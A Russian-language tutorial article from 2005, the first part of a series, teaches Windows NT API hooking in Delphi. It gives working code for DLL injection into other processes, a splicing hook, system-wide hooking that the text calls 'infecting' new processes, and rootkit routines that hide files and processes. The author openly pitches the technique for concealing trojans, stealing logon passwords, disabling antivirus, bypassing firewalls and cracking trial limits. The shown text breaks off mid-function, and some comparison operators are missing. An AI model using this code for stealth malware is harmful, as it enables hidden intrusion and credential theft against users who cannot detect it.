Перехват API функций в Windows NT (часть 1). Основы перехвата.

Дата публикации 16 май 2005

Перехват API функций в Windows NT (часть 1). Основы перехвата. — Архив WASM.RU



Предисловие редакции WASM.RU:

В данном цикле статей используется язык Дельфи (ахтунг!, детям и слабонервным просьба соблюдать необходимые меры предосторожности ^_^), поэтому мы долго колебались относительно того, стоит ли размещать его на сайте, однако учитывая, что материал может представлять интерес для многих посетителей, мы всё же пошли на это. Тем не менее просьба потенциальным авторам избегать проявлений паскальности в своих будущих статьях ^_^.

Предисловие:

В настоящее время широчайшую распостраненность поличили операционные системы семейства Windows NT/20000/XP. Они широко используются не только как домашние системы, но и в качестве серверов. Эта линейка ОС отличается неплохой защищенностью от вредоносных программ, а так-же для нее существует большое количество дополнительных систем безопасности (различные антивирусы, фаерволлы). Установив антивирус и фаерволл многие пользователи думают, что они стопроцентно защищены, и даже большинство программистов считают, что достаточно почаще проверять свой компьютер на подозрительные вещи (автозагрузка, процессы и.т.д.) и никокая вредоносная программа к ним не сможет проникнуть. В большинстве случаев это действительно так, 99% троянов до сих пор загружаются через HKLM/Run, и для скрытности имеют названия вроде WinLoader32.exe. Глядя на это мне просто смешно становиться. Это дело нужно срочно исправлять, поэтому я написал этот цикл из трех статей, в которых описываются методы перехвата API функций в системах линейки Windows NT на всех возможных уровнях.

Эта технология дает нам огромные возможности. Можно например легко скрыть присутствие трояна в системе так, что даже тшательная проверка компьютера не даст ничего. Можно легко получить пароли на вход в систему. Можно уничтожить антивирусы и обойти фаерволлы. Все это конкретные применения этой технологии (они подробно описаны в статьях), но этому легко придумать и множество других применений (создание систем безопасности, различные эмуляторы). Можно на этой основе снимать триальные ограничения серийно, с многих программ использующих стандартные способы защиты (таких 99%). И при всех этих возможностях сам метод очень прост. Для того, чтобы его понять нужна всего-лишь капля мозгов (не больше).

Основной язык для приводимых фрагментов кода - Delphi, но материал актуален и для любого другого языка (С, С++, Ассемблер и.т.д.). Единственное условие - язык должен быть 100% компилируемым, а также поддерживать работу с указателями и ассемблерные вставки. Так что любителям VB скорее всего придется обломиться. Для полного понимания материала статей нужно таже хотя-бы немножко знать ассемблер и С++.



Теория:

Как известно, OC Windows NT целиком построена на системе DLL (динамически загружаемых библиотек). Система предоставляет приложениям сервисные API функции, с помощью которых оно может взаимодействовать с системой. Перехват API функций позволяет обойти многие ограничения системы и делать с ней практически что угодно.
В этой статье я приведу некоторые методы программирования перехвата API, а также примеры его практического применения. Предполагается, что читатель знаком с программированием в Delphi, работой загрузчика Windows (загрузка и вызов функций DLL), а также имеет некоторые представления о программировании на ассемблере.

API функции представляют и себя ничто иное, как функции в системных DLL. Любой процесс в системе обязательно имеет в своем адресном пространстве Ntdll.dll, где располагаются функции Native API - базовые функции низкоуровневой работы с системой, функции Kernel32.dll являются переходниками к более мощным функциям Ntdll, следовательно целесообразно будет перехватывать именно функции Native API.
Проблема в том, что Native API функции не документированы в SDK, но узнать модель их вызова можно дизассемблируя Kernel32.dll. Нельзя утверждать, что адреса функций в системных библиотеках не изменяются в зависимости от версии ОС, ее сборки либо даже конкретной ситуации. Это происходит из-за того, что предпочитаемая база образа библиотеки (dll preferred imagebase) является константой, которую можно изменять при компиляции. Более того, совсем не обязательно, что dll будет загружена именно по предпочитаемому адресу, - этого может не произойти в результате коллизии с другими модулями, динамически выделенной памятью и т.п. Поэтому статический импорт функций происходит по имени модуля и имени функции (либо ее номера - ординала), предоставляемой этим модулем. Загрузчик PE файла анализирует его таблицу импорта и определяет адреса функций, им импортируемых. В случае, если в таблице импорта указана библиотека, не присутствующая в контексте загружаемой программы, происходит ее отображение в требуемый контекст, настройка ее образа и ситуация рекурсивно повторяется. В результате в требуемом месте определенной секции PE файла (имеющей, как минимум, атрибуты "readable" и "initialized data") заполняется массив адресов импортируемых функций. В процессе работы каждый модуль обращается к своему массиву для определения точки входа в какую-либо функцию.
Следовательно существуют два основных метода перехвата API вызовов: изменение точки входа в таблице импорта и изменение начальных байт самой функции (сплайсинг функции).


Изменение таблиц импорта:

Этот метод выглядит так. Определяется точка входа перехватываемой функции. Составляется список модулей, в настоящий момент загруженных в контекст требуемого процесса. Затем перебираются дескрипторы импорта этих модулей в поиске адресов перехватываемой функции. В случае совпадения этот адрес изменяется на адрес нашего обработчика.
К достоинствам данного метода можно отнести то, что код перехватываемой функции не изменяется, что обеспечивает корректную работу в многопоточном приложении. Недостаток этого метода в том, что приложения могут сохранить адрес функции до перехвата, и затем вызывать её минуя обработчик. Также можно получить адрес функции используя GetProcAddress из Kernel32.dll. Из - за этого недостатка я считаю этот метод бесперспективным в применении и подробно рассматривать его не буду.


Сплайсинг функции:

Этот метод состоит в следующем: определяется адрес перехватываемой функции, и первые 5 байт её начала заменяются на длинный jmp переход по адресу обработчика перехвата.
Если необходимо вызывать перехватываемую функцию, то перед заменой необходимо сохранить её начальные байты и перед вызовом восстанавливать их.
Недостаток данного метода состоит в том, что если после восстановления начала функции произошло переключение контекста на другой поток приложения, то он сможет вызвать функцию минуя перехватчик. Этот недостаток можно устранить останавливая все побочные потоки приложения перед вызовом и запуская после вызова.


Внедрение кода и создание удаленных потоков:

Перехватывать API находящиеся в чужом процессе весьма неудобно, наиболее удобным способом будет внедрение кода перехватчика в процесс и запуск его на исполнение.
Для реализации этого необходимо открыть процесс с флагами PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION. Для получения доступа к системным процессам нам понадобиться привилегия SeDebugPrivilege, поэтому перед установкой перехвата желательно активировать эту привилегию.
Процедура активации SeDebugPrivilege:

Код (Text):
  1. function EnableDebugPrivilege():Boolean;
  2. var
  3.  hToken: dword;
  4.  SeDebugNameValue: Int64;
  5.  tkp: TOKEN_PRIVILEGES;
  6.  ReturnLength: dword;
  7. begin
  8.  Result:=false;
  9.  //Добавляем привилегию SeDebugPrivilege
  10.  //Получаем токен нашего процесса
  11.  OpenProcessToken(INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES
  12.                   or TOKEN_QUERY, hToken);
  13.  //Получаем LUID привилегии
  14.  if not LookupPrivilegeValue(nil, 'SeDebugPrivilege', SeDebugNameValue) then
  15.   begin
  16.    CloseHandle(hToken);
  17.    exit;
  18.   end;
  19.  tkp.PrivilegeCount := 1;
  20.  tkp.Privileges[0].Luid := SeDebugNameValue;
  21.  tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
  22.  //Добавляем привилегию к процессу
  23.  AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TOKEN_PRIVILEGES),
  24.                        tkp, ReturnLength);
  25.  if GetLastError()  ERROR_SUCCESS then exit;
  26.  Result:=true;
  27. end;
  28.  

Следуюший код осуществляет загрузку в заданый процесс динамической библиотеки. Испольуется метод внедрения кода и создания удаленных потоков.

Код (Text):
  1. { Внедрение Dll в процесс }
  2. Function InjectDll(Process: dword; ModulePath: PChar): boolean;
  3. var
  4.   Memory:pointer;
  5.   Code: dword;
  6.   BytesWritten: dword;
  7.   ThreadId: dword;
  8.   hThread: dword;
  9.   hKernel32: dword;
  10.   Inject: packed record
  11.            PushCommand:byte;
  12.            PushArgument:DWORD;
  13.            CallCommand:WORD;
  14.            CallAddr:DWORD;
  15.            PushExitThread:byte;
  16.            ExitThreadArg:dword;
  17.            CallExitThread:word;
  18.            CallExitThreadAddr:DWord;
  19.            AddrLoadLibrary:pointer;
  20.            AddrExitThread:pointer;
  21.            LibraryName:array[0..MAX_PATH] of char;
  22.           end;
  23. begin
  24.   Result := false;
  25.   Memory := VirtualAllocEx(Process, nil, sizeof(Inject),
  26.                            MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  27.   if Memory = nil then Exit;
  28.  
  29.   Code := dword(Memory);
  30.   //инициализация внедряемого кода:
  31.   Inject.PushCommand    := $68;
  32.   inject.PushArgument   := code + $1E;
  33.   inject.CallCommand    := $15FF;
  34.   inject.CallAddr       := code + $16;
  35.   inject.PushExitThread := $68;
  36.   inject.ExitThreadArg  := 0;
  37.   inject.CallExitThread := $15FF;
  38.   inject.CallExitThreadAddr := code + $1A;
  39.   hKernel32 := GetModuleHandle('kernel32.dll');
  40.   inject.AddrLoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryA');
  41.   inject.AddrExitThread  := GetProcAddress(hKernel32, 'ExitThread');
  42.   lstrcpy(@inject.LibraryName, ModulePath);
  43.   //записать машинный код по зарезервированному адресу
  44.   WriteProcessMemory(Process, Memory, @inject, sizeof(inject), BytesWritten);
  45.   //выполнить машинный код
  46.   hThread := CreateRemoteThread(Process, nil, 0, Memory, nil, 0, ThreadId);
  47.   if hThread = 0 then Exit;
  48.   CloseHandle(hThread);
  49.   Result := True;
  50. end;
  51.  

Обратим внимание на следующую особенность: системные библиотеки Kernel32.dll и Ntdll.dll загружаются во всех процессах по одинаковому адресу, что использовано для инициализации внедряемого кода.

После загрузки DLL в память процесса, будет выполнена её точка входа с аргументом DLL_PROCESS_ATTACH. Загруженная библиотека может после этого установить перехват API функций методом сплайсинга.

Рассмотрим пример библиотеки осуществляющей перехват CreateProcessA:

Код (Text):
  1.  
  2.  
  3. library ApiHk;
  4. uses
  5.   TLHelp32, windows;
  6. type
  7.  fr_jmp = packed record
  8.    PuhsOp: byte;
  9.    PushArg: pointer;
  10.    RetOp: byte;
  11.   end;
  12.  
  13. OldCode = packed record
  14.   One: dword;
  15.   two: word;
  16.  end;
  17.  
  18. var
  19.  AdrCreateProcessA: pointer;
  20.  OldCrp: OldCode;
  21.  JmpCrProcA: far_jmp;
  22.  
  23. Function OpenThread(dwDesiredAccess: dword; bInheritHandle: bool; dwThreadId: dword):dword;
  24.                     stdcall; external 'kernel32.dll';
  25.  
  26. Procedure StopThreads;
  27. var
  28.  h, CurrTh, ThrHandle, CurrPr: dword;
  29.  Thread: TThreadEntry32;
  30. begin
  31.  CurrTh := GetCurrentThreadId;
  32.  CurrPr := GetCurrentProcessId;
  33.  h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
  34.  if h  INVALID_HANDLE_VALUE then
  35.    begin
  36.     Thread.dwSize := SizeOf(TThreadEntry32);
  37.     if Thread32First(h, Thread) then
  38.     repeat
  39.      if (Thread.th32ThreadID  CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then
  40.       begin
  41.        ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);
  42.        if ThrHandle>0 then
  43.          begin
  44.           SuspendThread(ThrHandle);
  45.           CloseHandle(ThrHandle);
  46.          end;
  47.        end;
  48.     until not Thread32Next(h, Thread);
  49.    CloseHandle(h);
  50.    end;
  51. end;
  52.  
  53. Procedure RunThreads;
  54. var
  55.  h, CurrTh, ThrHandle, CurrPr: dword;
  56.  Thread: TThreadEntry32;
  57. begin
  58.  CurrTh := GetCurrentThreadId;
  59.  CurrPr := GetCurrentProcessId;
  60.  h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
  61.  if h  INVALID_HANDLE_VALUE then
  62.    begin
  63.     Thread.dwSize := SizeOf(TThreadEntry32);
  64.     if Thread32First(h, Thread) then
  65.     repeat
  66.      if (Thread.th32ThreadID  CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then
  67.       begin
  68.        ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);
  69.        if ThrHandle>0 then
  70.          begin
  71.           ResumeThread(ThrHandle);
  72.           CloseHandle(ThrHandle);
  73.          end;
  74.        end;
  75.     until not Thread32Next(h, Thread);
  76.    CloseHandle(h);
  77.    end;
  78. end;
  79.  
  80. function TrueCreateProcessA(lpApplicationName: PChar;
  81.                             lpCommandLine: PChar;
  82.                             lpProcessAttributes,
  83.                         lpThreadAttributes: PSecurityAttributes;
  84.                             bInheritHandles: BOOL;
  85.                 dwCreationFlags: DWORD;
  86.                 lpEnvironment: Pointer;
  87.                             lpCurrentDirectory: PChar;
  88.                 const lpStartupInfo: TStartupInfo;
  89.                             var lpProcessInformation: TProcessInformation): BOOL;
  90. begin
  91.  //снятие перехвата
  92.  WriteProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), Writen);
  93.  //вызов функции
  94.  result := CreateProcess(lpApplicationName, lpCommandLine, lpProcessAttributes,
  95.                          lpThreadAttributes, bInheritHandles, dwCreationFlags or
  96.                  CREATE_SUSPENDED, lpEnvironment, nil, lpStartupInfo,
  97.                  lpProcessInformation);
  98.  //установка перехвата
  99.  WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);
  100. end;
  101.  
  102. function NewCreateProcessA(lpApplicationName: PChar;
  103.                           lpCommandLine: PChar;
  104.                           lpProcessAttributes,
  105.                   lpThreadAttributes: PSecurityAttributes;
  106.                           bInheritHandles: BOOL;
  107.                   dwCreationFlags: DWORD;
  108.                   lpEnvironment: Pointer;
  109.                           lpCurrentDirectory: PChar;
  110.                       const lpStartupInfo: TStartupInfo;
  111.                           var lpProcessInformation: TProcessInformation): BOOL; stdcall;
  112. begin
  113.  //наш обработчик CreateProcessA
  114. end;
  115.  
  116. Procedure SetHook;
  117. var
  118.  HKernel32, HUser32: dword;
  119. begin
  120.  CurrProc := GetCurrentProcess;
  121.  //получение адреса CreateProcessA
  122.  AdrCreateProcessA := GetProcAddress(GetModuleHandle('kernel32.dll'), 'CreateProcessA');
  123.  //инициализация структуры перехвата CreateProcessA
  124.  JmpCrProcA.PuhsOp  := $68;
  125.  JmpCrProcA.PushArg := @NewCreateProcessA;
  126.  JmpCrProcA.RetOp   := $C3;
  127.  //сохраняем старое начало функции
  128.  ReadProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), bw);
  129.  //записываем новое начало CreateProcessA
  130.  WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);
  131. end;
  132.  
  133. begin
  134.  //останавливаем побочные нити
  135.  StopThreads;
  136.  //устанавливаем перехват
  137.  SetHook;
  138.  //запускаем нити
  139.  RunThreads;
  140. end.
  141.  

Следует обратить внимание на процедуры StopThreads и RunThreads, они соответственно останавливают и запускают все потоки кроме того, который их вызывает.
Перед установкой API перехвата необходимо останавливать все побочные потоки, иначе процесс записи может быть прерван, и функция вызвана другим потоком, что приведет к ошибке доступа к памяти и аварийному завершению приложения. Этот эффект проявляется не всегда, но может стать причиной нестабильной работы системы, поэтому не следует пренебрегать этим моментом.
Еще один важный момент: при получении адресов перехватываемых функций следует использовать GetModuleHandleA в том случае, если точно известно, что модуль загружен в адресное пространство текущего процесса, иначе следует испольовать LoadLibrary. Гарантировано будут загружены модули Ntdll.dll и те, которые статически импортируются вашей DLL.
Не следует лишний раз использовать LoadLibrary, поскольку это изменяет счетчик загрузок библиотеки, и мешает её корректной выгрузке, когда она не нужна. В крайнем случае можно использовать следующий код:

Код (Text):
  1.  
  2. Handle := GetModuleHandleA('Library.dll');
  3. IF Handle = 0 then Handle := LoadLibrary('Library.dll');
  4.  

В вышеприведенном примере присутствует функция TrueCreateProcessA, её следует вызывать, если необходимо выполнить настоящий вызов CreateProcessA. Также следует обратить внимание на один важный момент: при написании функции заменяющей перехватываемую следует установить модель вызова аналогичную модели вызова перехватываемой функции, для WinAPI это будет stdcall.



Глобализация:

Допустим необходимо выполнить перехват API не только в текущем процессе, но и в всех последующих запущенных процессах.
Это можно сделать с помощью получения списка процессов и заражения новых процессов, но этот метод далеко не идеален, так как процесс до заражения сможет обращаться к оригинальной функции, также такой поиск приводит к лишнему расходованию системных ресурсов.
Из других недостатков данного метода можно отметить то, что глобализатор будет привязан к одному конкретному процессу, а значит, при его завершении весь перехват накроется.
Другой метод состоит в том, чтобы перехватывать функции создания процессов и внедрять обработчик в созданный процесс еще до выполнения его кода.
Процесс может быть создан множеством функций: CreateProcessA, CreateProcessW, WinExec, ShellExecute, NtCreateProcess. При создании нового процесса обязательно происходит вызов функции ZwCreateThread.

Код (Text):
  1. Function ZwCreateThread(ThreadHandle: pdword;
  2.                         DesiredAccess: ACCESS_MASK;
  3.                         ObjectAttributes: pointer;
  4.                         ProcessHandle: THandle;
  5.                         ClientId: PClientID;
  6.                         ThreadContext: pointer;
  7.                         UserStack: pointer;
  8.                         CreateSuspended: boolean):NTStatus;
  9.                         stdcall;external 'ntdll.dll';

Нас интересует структура ClientId:

Код (Text):
  1. type
  2. PClientID = ^TClientID;
  3. TClientID = packed record
  4.  UniqueProcess:cardinal;
  5.  UniqueThread:cardinal;
  6. end;

Поле UniqueProcess содержит id процесса, которому принадлежит создаваемая нить.

Наиболее очевидным будет следующий метод:

Перехватываем ZwCreateThread, cверяем UniqueProcess с id текущего процесса, и если они различаются, то внедряем перехватчик в новый процесс. Но этот метод работать не будет, так как в момент создания основной нити процесс еще не проинициализирован и CreateRemoteThread возвращает ошибку.

Поэтому при обнаружении создания нити в новом процессе мы просто установим флаг NewProcess который будем использовать далее.

Обработчик ZwCreateThread будет выглядеть так:

Код (Text):
  1.  
  2. Function NewZwCreateThread(ThreadHandle: PHANDLE;
  3.                            DesiredAccess: ACCESS_MASK;
  4.                            ObjectAttributes: pointer;
  5.                            ProcessHandle: THandle;
  6.                            ClientId: PClientID;
  7.                            ThreadContext: pointer;
  8.                            UserStack: pointer;
  9.                            CreateSuspended: boolean); stdcall;
  10. begin
  11.  //снятие перехвата<BR>
  12.  WriteProcessMemory(CurrProc, AdrZwCreateThread, @OldZwCreateThread, SizeOf(OldCode), Writen);
  13.  //вызываем функцию с флагом CREATE_SUSPENDED, чтобы нить не запустилась до установки перехвата
  14.  Result := ZwCreateThread(ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle,
  15.                           ClientId, ThreadContext, UserStack, true);
  16.  
  17.  //проверяем, принадлежит ли нить к текущему процессу
  18.  if CurrProcId  ClientId.UniqueProcess then
  19.  //устанавливаем флаг создания нового процесса
  20.  NewProcess := true;
  21.  //если надо, то запускаем нить
  22.  if not CreateSuspended then ResumeThread(ThreadHandle^);
  23.  //установка перехвата
  24.  WriteProcessMemory(CurrProc, AdrZwCreateThread, @JmpZwCreateThread, SizeOf(far_jmp), Writen);
  25. end;
  26.  

После инициализации созданного процесса происходит запуск его основной нити с помощью ZwResumeThread.

Код (Text):
  1. Function ZwResumeThread(ThreadHandle: dword;
  2.                         PreviousSuspendCount: pdword): NTStatus;
  3.                         stdcall; external 'ntdll.dll';

Перехватив эту функцию мы будем получать хэндлы всех запускаемых нитей.
Нам необходимо по хэндлу нити получить id процесса владеющего этой нитью. Это делает функция ZwQueryInformationThread.

Код (Text):
  1. Function ZwQueryInformationThread(ThreadHandle: dword;
  2.                                   ThreadInformationClass: dword;
  3.                                   ThreadInformation: pointer;
  4.                                   ThreadInformationLength: dword;
  5.                                   ReturnLength: pdword):NTStatus;
  6.                                   stdcall;external 'ntdll.dll';

ThreadInformationClass - тип получаемой информации.
В нашем случае = THREAD_BASIC_INFO = 0;

ThreadInformation - указатель на структуру, куда будет записана информация о нити.
В нашем случае это будет структура THREAD_BASIC_INFORMATION:

Код (Text):
  1. PTHREAD_BASIC_INFORMATION = ^THREAD_BASIC_INFORMATION;
  2.   THREAD_BASIC_INFORMATION = packed record
  3.   ExitStatus: BOOL;
  4.   TebBaseAddress: pointer;
  5.   ClientId: TClientID;
  6.   AffinityMask: DWORD;
  7.   Priority: dword;
  8.   BasePriority: dword;
  9.  end;

ClientId.UniqueProcess будет содержать id процесса владеющего нитью.

Если этот процесс отличается от текущего и установлен флаг NewProcess, то мы должны внедрить перехватчик в созданный процесс и сбросить флаг NewProcess.

Обработчик функции ZwResumeThread будет выглядеть примерно так:

Код (Text):
  1.  
  2. function NewZwResumeThread(ThreadHandle: THandle;
  3.                            PreviousSuspendCount: pdword); stdcall;
  4. var
  5. ThreadInfo: THREAD_BASIC_INFORMATION;
  6. Handle: DWORD;
  7. begin
  8.  //снимаем перехват
  9.  WriteProcessMemory(CurrProc, AdrZwResumeThread, @OldZwResumeThread, SizeOf(OldCode), Writen);
  10.  //получаю информацию о процессе владеющем этой нитью
  11.  ZwQueryInformationThread(ThreadHandle, THREAD_BASIC_INFO, @ThreadInfo, SizeOf(THREAD_BASIC_INFORMATION), nil);
  12.  if (ThreadInfo.ClientId.UniqueProcess  CurrProcId) and NewProcess then
  13.     begin //заражаем новый процесс<BR>
  14.      Handle := OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION,
  15.                            FALSE, ThreadInfo.ClientId.UniqueProcess);
  16.      InjectDll(Handle);
  17.      CloseHandle(Handle);
  18.      NewProcess := false;
  19.      end;
  20.  //вызываем оригинальную функцию
  21.  Result := ZwResumeThread(ThreadHandle, PreviousSuspendCount);
  22.  //устанавливаем перехват
  23.  WriteProcessMemory(CurrProc, AdrZwResumeThread, @JmpZwResumeThread, SizeOf(far_jmp), Writen);
  24. end;
  25.  

Таким образом решается проблема глобализации обработчика.



Практическое применение:

Теперь кратко поговорим о возможных применениях перехвата API:
Широчайшее применение подобная технология может найти в троянских программах.
Например можно создать невидимый процесс, скрыть какие-либо файлы на диске, скрыть записи в реестре и скрыть сетевые соединения.
Можно легко обойти персональные фаерволлы. Можно делать с системой все, что угодно.
К примеру, для скрытия файлов на диске нам нужно перехватить функцию ZwQueryDirectoryFile из ntdll.dll. Она является базовой для всех API перечисления файлов.

Рассмотрим прототип этой функции:

Код (Text):
  1. Function ZwQueryDirectoryFile(FileHandle: dword;
  2.                               Event: dword;
  3.                               ApcRoutine: pointer;
  4.                               ApcContext: pointer;
  5.                               IoStatusBlock: pointer;
  6.                               FileInformation: pointer;
  7.                               FileInformationLength: dword;
  8.                               FileInformationClass: dword;
  9.                               ReturnSingleEntry: bool;
  10.                               FileName: PUnicodeString;
  11.                               RestartScan: bool): NTStatus;
  12.                               stdcall; external 'ntdll.dll';

Для нас важны параметры FileHandle, FileInformation и FileInformationClass.
FileHandle - хэндл объекта директории, который может быть получен с использованием функции ZwOpenFile.
FileInformation - указатель на выделенную память, куда функция запишет необходимые данные.
FileInformationClass определяет тип записей в FileInformation.
FileInformationClass перечислимого типа, но нам необходимы только четыре его значения, используемые для просмотра содержимого директории.

Код (Text):
  1. const
  2.   FileDirectoryInformation = 1;
  3.   FileFullDirectoryInformation = 2;
  4.   FileBothDirectoryInformation = 3;
  5.   FileNamesInformation = 12;

Структура записи в FileInformation для FileDirectoryInformation:

Код (Text):
  1. type  
  2.  FILE_DIRECTORY_INFORMATION = packed record
  3.   NextEntryOffset: ULONG;
  4.   Unknown: ULONG;
  5.   CreationTime,
  6.   LastAccessTime,
  7.   LastWriteTime,
  8.   ChangeTime,
  9.   EndOfFile,
  10.   AllocationSize: int64;  
  11.   FileAttributes: ULONG;
  12.   FileNameLength: ULONG;
  13.   FileName: PWideChar;  
  14.  end;

для FileFullDirectoryInformation:

Код (Text):
  1. type
  2.  FILE_FULL_DIRECTORY_INFORMATION = packed record
  3.    NextEntryOffset: ULONG;
  4.    Unknown: ULONG;
  5.    CreationTime,
  6.    LastAccessTime,
  7.    LastWriteTime,
  8.    ChangeTime,
  9.    EndOfFile,
  10.    AllocationSize: int64;
  11.    FileAttributes: ULONG;
  12.    FileNameLength: ULONG;
  13.    EaInformationLength: ULONG;
  14.    FileName: PWideChar;
  15.  end;

для FileBothDirectoryInformation:

Код (Text):
  1. type
  2.  FILE_BOTH_DIRECTORY_INFORMATION = packed record
  3.    NextEntryOffset: ULONG;
  4.    Unknown: ULONG;
  5.    CreationTime,
  6.    LastAccessTime,
  7.    LastWriteTime,
  8.    ChangeTime,
  9.    EndOfFile,
  10.    AllocationSize: int64;
  11.    FileAttributes: ULONG;
  12.    FileNameLength: ULONG;
  13.    EaInformationLength: ULONG;
  14.    AlternateNameLength: ULONG;
  15.    AlternateName[0..11]: array of WideChar;
  16.    FileName: PWideChar;
  17.  end;

и для FileNamesInformation:

Код (Text):
  1. type
  2.  FILE_NAMES_INFORMATION = packed record
  3.    NextEntryOffset: ULONG;
  4.    Unknown: ULONG;
  5.    FileNameLength: ULONG;
  6.    FileName: PWideChar;
  7.  end;

Функция записывает набор этих структур в буфер FileInformation.
Во всех этих типах структур для нас важны только три переменных:
NextEntryOffset - размер данного элемента списка.
Первый элемент расположен по адресу FileInformation + 0, а второй элемент по адресу FileInformation + NextEntryOffset первого элемента. У последнего элемента поле NextEntryOffset содержит нуль.
FileName - это полное имя файла.
FileNameLength - это длина имени файла

Для скрытия файла, необходимо сравнить имя каждой возвращаемой записи и имя файла, который мы хотим скрыть.
Если мы хотим скрыть первую запись, нужно сдвинуть следующие за ней структуры на размер первой записи. Это приведет к тому, что первая запись будет затерта. Если мы хотим скрыть другую запись, мы можем просто изменить значение NextEntryOffset предыдущей записи. Новое значение NextEntryOffset будет нуль, если мы хотим скрыть последнюю запись, иначе значение будет суммой полей NextEntryOffset записи, которую мы хотим скрыть и предыдущей записи. Затем необходимо изменить значение поля Unknown предыдущей записи, которое предоставляет индекс для последующего поиска. Значение поля Unknown предыдущей записи должно равняться значению поля Unknown записи, которую мы хотим скрыть.
Если нет ни одной записи, которую можно видеть, мы должны вернуть ошибку STATUS_NO_SUCH_FILE.

Код (Text):
  1. const
  2.   STATUS_NO_SUCH_FILE = $C000000F;

Скрытие процессов:
Список процессов можно получить различными методами: EnumProcesses, CreateToolHelp32Snapshot и.др., но все эти API обращаются к базовой функции ZwQuerySystemInformation.

Рассмотрим прототип этой функции:

Код (Text):
  1. Function ZwQuerySystemInformation(ASystemInformationClass: dword;
  2.                                   ASystemInformation: Pointer;
  3.                                   ASystemInformationLength: dword;
  4.                                   AReturnLength:PCardinal): NTStatus;
  5.                                   stdcall;external 'ntdll.dll';

SystemInformationClass указывает тип информации, которую мы хотим получить, SystemInformation - это указатель на результирующий буфер, SystemInformationLength - размер этого буфера и ReturnLength - количество записанных байт.
Эта функция может возвращать различные классы информации, каждый из которых определен своей структурой. Вот список классов возвращаемых функцией:

Код (Text):
  1. const // SYSTEM_INFORMATION_CLASS
  2.   SystemBasicInformation                =   0;
  3.   SystemProcessorInformation            =   1;
  4.   SystemPerformanceInformation          =   2;
  5.   SystemTimeOfDayInformation            =   3;
  6.   SystemNotImplemented1                 =   4;
  7.   SystemProcessesAndThreadsInformation  =   5;
  8.   SystemCallCounts                      =   6;
  9.   SystemConfigurationInformation        =   7;
  10.   SystemProcessorTimes                  =   8;
  11.   SystemGlobalFlag                      =   9;
  12.   SystemNotImplemented2                 =   10;
  13.   SystemModuleInformation               =   11;
  14.   SystemLockInformation                 =   12;
  15.   SystemNotImplemented3                 =   13;
  16.   SystemNotImplemented4                 =   14;
  17.   SystemNotImplemented5                 =   15;
  18.   SystemHandleInformation               =   16;
  19.   SystemObjectInformation               =   17;
  20.   SystemPagefileInformation             =   18;
  21.   SystemInstructionEmulationCounts      =   19;
  22.   SystemInvalidInfoClass                =   20;
  23.   SystemCacheInformation                =   21;
  24.   SystemPoolTagInformation              =   22;
  25.   SystemProcessorStatistics             =   23;
  26.   SystemDpcInformation                  =   24;
  27.   SystemNotImplemented6                 =   25;
  28.   SystemLoadImage                       =   26;
  29.   SystemUnloadImage                     =   27;
  30.   SystemTimeAdjustment                  =   28;
  31.   SystemNotImplemented7                 =   29;
  32.   SystemNotImplemented8                 =   30;
  33.   SystemNotImplemented9                 =   31;
  34.   SystemCrashDumpInformation            =   32;
  35.   SystemExceptionInformation            =   33;
  36.   SystemCrashDumpStateInformation       =   34;
  37.   SystemKernelDebuggerInformation       =   35;
  38.   SystemContextSwitchInformation        =   36;
  39.   SystemRegistryQuotaInformation        =   37;
  40.   SystemLoadAndCallImage                =   38;
  41.   SystemPrioritySeparation              =   39;
  42.   SystemNotImplemented10                =   40;
  43.   SystemNotImplemented11                =   41;
  44.   SystemInvalidInfoClass2               =   42;
  45.   SystemInvalidInfoClass3               =   43;
  46.   SystemTimeZoneInformation             =   44;
  47.   SystemLookasideInformation            =   45;
  48.   SystemSetTimeSlipEvent                =   46;
  49.   SystemCreateSession                   =   47;
  50.   SystemDeleteSession                   =   48;
  51.   SystemInvalidInfoClass4               =   49;
  52.   SystemRangeStartInformation           =   50;
  53.   SystemVerifierInformation             =   51;
  54.   SystemAddVerifier                     =   52;
  55.   SystemSessionProcessesInformation     =   53;
  56.  

Для перечисления запущенных процессов мы устанавливаем в параметр SystemInformationClass в значение SystemProcessesAndThreadsInformation.
Возвращаемая структура в буфере SystemInformation:

Код (Text):
  1. PSYSTEM_PROCESSES = ^SYSTEM_PROCESSES
  2. SYSTEM_PROCESSES = packed record
  3.    NextEntryDelta,
  4.    ThreadCount: dword;
  5.    Reserved1 : array [0..5] of dword;
  6.    CreateTime,
  7.    UserTime,
  8.    KernelTime: LARGE_INTEGER;
  9.    ProcessName: TUnicodeString;
  10.    BasePriority: dword;
  11.    ProcessId,
  12.    InheritedFromProcessId,
  13.    HandleCount: dword;
  14.    Reserved2: array [0..1] of dword;
  15.    VmCounters: VM_COUNTERS;
  16.    IoCounters: IO_COUNTERS; // Windows 2000 only
  17.    Threads: array [0..0] of SYSTEM_THREADS;
  18.   end;

Скрытие процессов похоже на скрытие файлов. Мы должны изменить NextEntryDelta записи предшествующей записи скрываемого процесса. Обычно не требуется скрывать первую запись, т.к. это процесс Idle.
Простой обработчик ZwQuerySystemInformation скрывающий процесс winlogon.exe будет выглядеть так:

Код (Text):
  1. Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
  2.                                      ASystemInformation: Pointer;
  3.                                      ASystemInformationLength: dword;
  4.                                      AReturnLength: PCardinal): NTStatus; stdcall;
  5. var
  6.  Info, Prev: PSYSTEM_PROCESSES;
  7. begin
  8.  Result := TrueZwQuerySystemInformation(ASystemInformationClass,
  9.                                         ASystemInformation,
